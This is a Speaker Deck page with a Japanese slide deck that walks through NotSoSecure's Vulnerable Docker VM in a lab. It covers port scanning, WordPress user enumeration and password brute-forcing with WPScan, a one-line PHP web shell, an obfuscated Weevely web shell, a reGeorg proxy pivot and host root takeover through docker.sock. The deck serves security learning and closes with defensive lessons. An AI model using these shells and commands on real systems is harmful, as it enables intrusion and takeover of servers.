Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
VulnerableDockerVM Writeup
Search
Sponsored
·
Ship Features Fearlessly
Turn features on and off without deploys. Used by thousands of Ruby developers.
→
narupi
September 27, 2019
Technology
230
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
VulnerableDockerVM Writeup
WHESON_LTで使用した資料
narupi
September 27, 2019
More Decks by narupi
See All by narupi
Dockerコンテナからホストのrootを取る話
narupi
9
2.7k
Other Decks in Technology
See All in Technology
Cloudflare Workers 向けアプリを C# で構築する ~WASM Native AOT への道~
nenonaninu
0
120
AgentCore Runtime上にAgentic Coding基盤を構築・展開する際の設計ポイントと限界点 / Design considerations and limitations when building an agentic coding platform on AgentCore Runtime
har1101
4
230
ユーザー価値を届け続けるためにウォンテッドリーが大切にしている文化
kotaminato
0
170
目の前の楽しいが人生を変える - コミュニティの螺旋の歩き方と楽しむコツ / change your life
soudai
PRO
5
630
【技術的負債conf】事業成長に伴う技術的負債の説明責任とAIによるモニタリング、認知的負債について
i35_267
3
1.7k
ソフトウェアDNAとクラウドエージェントのススメ
cloudace
0
110
あるけみー式LTスライド作成術
alchemy1115
2
220
AI時代の「技術的負債」の変質ー概念の終焉と再解釈、エージェントと共に向かう先
nwiizo
1
2.8k
おい、エージェントを使って終わらせろ
nwiizo
1
610
作品が生態系になった ─ Mini Tokyo 3D から世界へ
nagix
0
190
AIを活用するために決めた "やらないこと" - 価値に注目する / Not betting on AI
soudai
PRO
2
540
HRC_Frontend_Conference_Fukuoka_2026.pdf
ts020
0
740
Featured
See All Featured
The Illustrated Guide to Node.js - THAT Conference 2024
reverentgeek
1
510
Digital Ethics as a Driver of Design Innovation
axbom
PRO
1
420
The Limits of Empathy - UXLibs8
cassininazir
1
670
Fireside Chat
paigeccino
43
4k
Learning to Love Humans: Emotional Interface Design
aarron
275
41k
Performance Is Good for Brains [We Love Speed 2024]
tammyeverts
12
1.8k
16th Malabo Montpellier Forum Presentation
akademiya2063
PRO
0
380
<Decoding/> the Language of Devs - We Love SEO 2024
nikkihalliwell
1
330
Mozcon NYC 2025: Stop Losing SEO Traffic
samtorres
1
550
コードの90%をAIが書く世界で何が待っているのか / What awaits us in a world where 90% of the code is written by AI
rkaga
63
46k
Art, The Web, and Tiny UX
lynnandtonic
304
22k
実際に使うSQLの書き方 徹底解説 / pgcon21j-tutorial
soudai
PRO
203
76k
Transcript
Vulnerable Docker VMで学ぶ 脆弱なコンテナ 2019/09/27 narupi(@ei1528)
2 ※注意事項 • 得た知識/技術の悪用厳禁 • 検証は自己責任 • 管理下以外のサーバ/アプリケーションに対して攻撃を行わない • 初心者なので内容に間違いがある場合がある
3 目的 • 攻撃側を知ることで防御力を高める術を知る • セキュリティにおいて攻撃側が如何に有利かを知る • セキュリティに興味関心を持つ
4 動機 • 最近Dockerにムカついたので破壊したくなった
5 Vulnerable Docker VMについて • NotSoSecureが提供しているVM • ( https://www.notsosecure.com/vulnerable-docker-vm/ )
• CTF形式
6 環境構築 • VM(被害者端末)のネットワーク設定がデフォルトでブリッジなので念の 為ホストオンリーネットワークに変更する • Kali(攻撃者端末)もVMと同じホストオンリーネットワークに指定する 今回のIP Kali :
192.168.56.100 Docker : 192.168.56.102
7 起動
8 対象調査 • ポートスキャン(nmap)を実施して対象の環境を把握する • (-sV:各ポートを利用しているサービスのバージョンを検出 • -A :OSとバージョンを検出)
9 対象調査 • 8000番ポートでApache2.4.10が動いている • (詳細よりWordPress4.8.1が動いていてwp-adminが見える状態なのがわ かる)
10 入り口を探す • サービス自体の脆弱性を突く • (OpenSSH 6.6p1の脆弱性, Apache 2.4.10の脆弱性, WordPress4.8.1の
脆弱性 etc…) • サービスの設定不備を突く • (脆弱なアカウント, 脆弱なWordPressプラグイン, XSSの可能性,RCEの 可能性 etc...)
11 サービスの脆弱性を調査 • Vulnerable Docker VMが配布されたのが2017年なので、当時の最新バ ージョンが動いていると考えられる(しっかりパッチを当てている環境だ とすると、0day exploit以外刺さらない) •
VMの意図と異なるのでこっちは利用しない
12 設定不備を調査 • 脆弱性スキャンツールを利用 • (OWASP ZAP, Burp Suite, Nikto,
WPScan) • 対象がWordPressなのでWPScanを試す
13 WPScanについて • Rubyで動作するWordPressの脆弱性スキャナ • WordPressにインストールされているテーマやプラグインの列挙 • (脆弱性のあるものだけを列挙したりできる) • ユーザ情報の列挙
• ユーザ名を指定してブルートフォース攻撃
14 WPScanの実施 • プラグイン/テーマの脆弱性については、VM公開時の状況がわからない ので切り捨てた(本来なら侵入経路に成り得る) • ユーザ情報を列挙してみる • wpscan --url
http://192.168.56.102:8000 --disable-tls-checks -- enumerate u
15 パスワードを総当りしてみる • ランダムな文字列を生成して総当りするのは時間がかかるので、辞書攻 撃を試す • (辞書はseclistsの100k-most-used-passwords-NCSC.txtを利用) • wpscan --url
http://192.168.56.102:8000/ -P 100k-most-used-passwords- NCSC.txt -U bob
16 パスワードを総当りしてみる 少し待つとパスワードが特定できる
17 WebShellを設置する方法 • WordPressのテーマを利用して設置 ->テーマページのphpを編集してWebShellを埋め込む(404.phpなど) • WordPressにプラグインとして設置 ->オフラインならプラグインのアップロード オンラインならプラグインのインストール
18 WebShellとは • Webを介して実行するShell • 最も簡単なものはGETリクエストでコマンドを送信する形 → <?php system($_GET["cmd"]);?> •
高機能なものもある(今回はWeevelyを利用した) → Weevely https://github.com/epinna/weevely3
19 Weevelyについて • 難読化したPHPWebShellを生成するためセキュリティソフトに検知さ れにくい • Telnetのような形式の接続を提供してくれる
20 Weevelyが生成したWebShell <?php$Y=str_replace('Mk','','MkcMkreMkate_fMkuncMkMktion');$x='$k="bjfdd87j fdc7";$jfkh="jf20jf10d2jfjf6e2bc2";$kf="a8961cjf0ca876";$pjfjf="Le2wfMlG2QyjffY gqjfV";f';$m='evjfal(@gzjfuncompressjf(@jfxjf(@jfbajfse64_decode($m[1]),$kjf))); $ojf=@ob_jfget_contejfnts()jf;@';$L='jfunctiojfjfn x($t,$k){$c=stjfrjflejfn($k);$l=strlenjf($tjf);$ojf="";for($ijf=0;$i<jf$l;jf){fojfjfr(';$i='$j=0 ;($j<$c&&$jfi<$ljf);$j++,$ijf++jf){$ojf.=$t{jf$i}^$k{$j};}}rjfeturn jf$o;}ijfjff(@jfpreg_mat';$n='ch(jf"/$kh(.+jf)$kjffjf/",@filjfe_gejft_contents(jf"jfphp://i nput"jf),jf$m)==1){@ojfb_start();@jf';$f='jfob_endjf_clean();$rjf=@basejf64_encjf
odejf(@x(@jfgzcompresjfs(jf$jfo),$k));print(jf"$pjf$kh$r$kf");}';$w=str_replace('jf',' ',$x.$L.$i.$n.$m.$f);$Q=$Y('',$w);$Q();?>
21 コンテナに侵入 • .dockerenvが存在するかでコンテナ内であるかチェックする
22 コンテナ内でできること • curlやwgetが使える場合 -> 任意のバイナリが実行できる(nmapなど) • コンテナ間通信が許可されている場合 -> 他のコンテナの発見と侵入
• サービスの破壊,データの取得
23 DBの確認(Adminer設置) • PHPMyAdminのようなdb管理ツール(https://www.adminer.org/) • シングルファイルで動作するのでWordPressのテーマを編集することで 設置可能 • db認証情報はwp-configから抜き取れる
24 Adminer
25 他のコンテナを探す • nmapバイナリをKali側のWeb鯖に置いて,VM側からcurlでダウンロード する • Ip rでroute情報を表示 • Nmapで同一ネットワークを調査する
-> 172.18.0.1~4が利用されている -> 8022に不明なサービス (8000はWordPress)
26 コンテナ内部ネットワークへアクセスする • 任意のPHPがアップロードできる状況にあるのでreGeorgを利用して SOCKSプロキシを構成する(https://github.com/sensepost/reGeorg) • ProxychainsでreGeorgプロキシの情報を設定する • FoxyProxyでreGeorgプロキシの情報を設定する
27 Docker-SSH • 8022ポートのサービスをcurlで調査するとDocker-SSHが動いているこ とがわかる(https://github.com/jeroenpeeters/docker-ssh) • FoxyProxyを介してブラウザからアクセスする
28 ホストへ侵入する方法を探す • Docker-SSHコンテナへはパスワードなしでsshできるらしいので Proxychainsを利用してshellから作業をする(webだとセッションが切れ て大変だった) • /run以下を見るとdocker.sockが見えている -> docker.sockはデーモンプロセスと通信するためのソケット
-> docker.sockは特権で実行される(実質的にroot)
29 Docker in Docker(DinD)について • DinD対応イメージを利用してコンテナを作る • デフォルトの権限ではDockerデーモンを起動できないのでprivilegedオ プションを利用する必要がある(すべてのデバイスへのアクセスが可能に なる)
• 暗黙的にData Volumeが利用されコンテナとホストのリソースを共有す る • ホストとコンテナが階層化されるのでお互いに見えない
30 Docker outside of Docker(DooD)について • ホストのDocker.sockをマウントすることでDockerデーモンを共有する • ホスト側のDockerをコンテナ側から実行する •
コンテナからホスト側が見える • DinDのようにゴミが溜まることはない
31 コンテナからホストのrootを取る • ホストのdocker.sockをマウントしている場合、dockerコマンドはホス ト側で実行したものと同じ結果が得られる →コンテナ上でホスト側のルートディレクトリをマウントしたコンテナ を立ち上げる(DooD) →適当な名前でルートディレクトリをマウントしてchrootでルートディ レクトリをマウントしたフォルダに変える →実質的なホストrootの奪取
32 HACKED
33 VMの脆弱な点をまとめると • WordPressのセキュリティ(コンテナへの侵入) ->wp-adminが見える, 脆弱なパスワードの運用 • Docker-SSHの運用方法(ホストへの侵入) ->docker.sockへの書き込み権限がある
34 まとめ • WordPressには気をつけよう • Dockerは運用方法に気をつければ攻撃者がホストに到達するのを難しくで きる • Docker imageはしっかり中身を理解して利用する
->Docker-SSHはdocker.sockをマウントする必要がある ->悪意のあるimageに気をつける(reverse shellが埋め込まれてたりする)
35 参考文献 • https://oioki.me/2017/09/vulnerable-docker-vm/ • https://darksh3ll.info/index.php/18-write-up-vulnerable-docker-vm-by-notsosecure- com • https://rimuru.lunanet.gr.jp/notes/post/how-to-root-from-inside-container/ •
https://www.lvh.io/posts/dont-expose-the-docker-socket-not-even-to-a-container.html • https://qiita.com/sugiyasu-qr/items/85a1bedb6458d4573407 • https://blog.nijohando.jp/post/docker-in-docker-docker-outside-of-docker/ • https://qiita.com/toto1310/items/64d7db407d31fd802f9c